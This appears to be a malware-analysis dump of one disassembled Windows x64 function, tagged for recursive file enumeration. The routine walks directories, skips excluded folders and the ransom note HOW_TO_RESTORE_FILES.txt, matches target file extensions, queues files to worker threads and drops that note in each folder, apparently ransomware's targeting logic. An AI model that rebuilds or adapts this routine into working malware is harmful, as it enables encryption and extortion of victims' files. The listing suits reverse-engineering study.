Function at 0x140007a60
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbx
push rbp
push r12
push r13
push r14
sub rsp, 0x2b0
mov rax, qword [0x140067040]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov ebx, r9d
mov r12d, r8d
movzx r13d, dx
mov dword [rsp + 0x30], ebx
mov r8d, 4
lea rdx, str.._
mov r14, rcx
call qword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
lea rcx, [r14 + 8]
cmovne rcx, r14
movzx eax, word [rcx]
mov dword [rsp + 0x34], eax
cmp r13w, 0x31
je 0x140007ac7
mov eax, 0x30
mov dword [rsp + 0x34], eax
mov ecx, 0x2000
call fcn.14002b43c
mov rbp, rax
test rax, rax
je 0x140007dcc
mov qword [rsp + 0x2a8], rdi
lea r8, str._s
mov r9, r14
mov qword [rsp + 0x2a0], r15
mov edx, 0x1000
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov eax, dword [0x140067ca4]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x28], eax
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x140007b69
mov rcx, r14
call fcn.140023010
mov eax, dword [0x140067ca4]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x28], eax
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x140007db4
mov qword [rsp + 0x2f8], rsi
lea rsi, [0x140000000]
nop dword [rax + rax]
lea rdx, [0x14005c964]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140007d61
lea rdx, [0x14005c968]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140007d61
lea rax, [rsp + 0x6c]
mov r9, r14
lea r8, [0x14005ca50]
mov qword [rsp + 0x20], rax
mov edx, 0x1000
mov rcx, rbp
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
test byte [rsp + 0x40], 0x10
je 0x140007c2e
test ebx, ebx
jne 0x140007c2e
movzx ebx, di
nop dword [rax]
nop dword [rax + rax]
movzx edx, bx
lea rcx, [rsp + 0x6c]
mov rdx, qword [rsi + rdx*8 + 0x546d0]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140007d5d
inc bx
cmp bx, 0x28
jb 0x140007bf0
xor r9d, r9d
mov r8d, r12d
movzx edx, r13w
mov rcx, rbp
call fcn.140007a60
jmp 0x140007d5d
lea rdx, [0x14006a160]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140007d61
lea rdx, str.HOW_TO_RESTORE_FILES.txt
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140007d61
test byte [rsp + 0x40], 0xa7
je 0x140007d61
nop dword [rax]
movzx eax, di
lea rcx, [rsp + 0x6c]
lea rbx, [rax*8 + 0x55570]
add rbx, rsi
mov rdx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
mov rsi, rax
test rax, rax
je 0x140007cb0
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, ebx
je 0x140007d54
inc di
lea rsi, [0x140000000]
cmp di, 0x34
jb 0x140007c70
xor bl, bl
lea rsi, [0x140000000]
nop dword [rax]
movzx edx, bl
lea rcx, [rsp + 0x6c]
mov rdx, qword [rsi + rdx*8 + 0x54810]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140007d5b
inc bl
cmp bl, 0xd
jb 0x140007cd0
test r12d, r12d
je 0x140007df5
xor ebx, ebx
nop dword [rax]
movzx eax, bx
lea rcx, [rsp + 0x6c]
lea rdi, [rax*8 + 0x54880]
add rdi, rsi
mov rdx, qword [rdi]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
mov rsi, rax
test rax, rax
je 0x140007d44
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, qword [rdi]
mov rcx, rsi
mov r8d, eax
call qword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
je 0x140007dee
inc bx
lea rsi, [0x140000000]
cmp bx, 0x1c
jb 0x140007d00
lea rsi, [0x140000000]
xor edi, edi
mov ebx, dword [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140007b80
mov rsi, qword [rsp + 0x2f8]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rax, str.HOW_TO_RESTORE_FILES.txt
mov r9, r14
lea r8, [0x14005ca50]
mov qword [rsp + 0x20], rax
mov edx, 0x1000
mov rcx, rbp
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rbp
call fcn.1400075a0
mov rcx, rbp
call fcn.14002b428
mov r15, qword [rsp + 0x2a0]
mov rdi, qword [rsp + 0x2a8]
xor eax, eax
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.1400236d0
add rsp, 0x2b0
pop r14
pop r13
pop r12
pop rbp
pop rbx
ret
lea rsi, [0x140000000]
mov ecx, 0x30
call fcn.14002b43c
mov rbx, rax
test rax, rax
je 0x140007d5b
mov edi, dword [rsp + 0x34]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov rcx, rbp
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov word [rax + 0x28], di
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14002b43c
mov qword [rbx + 0x20], rax
test rax, rax
je 0x140007e5f
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x14006a268]
mov r9, rbx
xor r8d, r8d
mov dword [rbx + 0x2c], 1
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x140007e92
lock inc dword [0x14006a260]
lock inc dword [0x14006a2dc]
jmp 0x140007d5b
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x140007ea0
call fcn.14002b428
mov rcx, rbx
call fcn.14002b428
jmp 0x140007d5b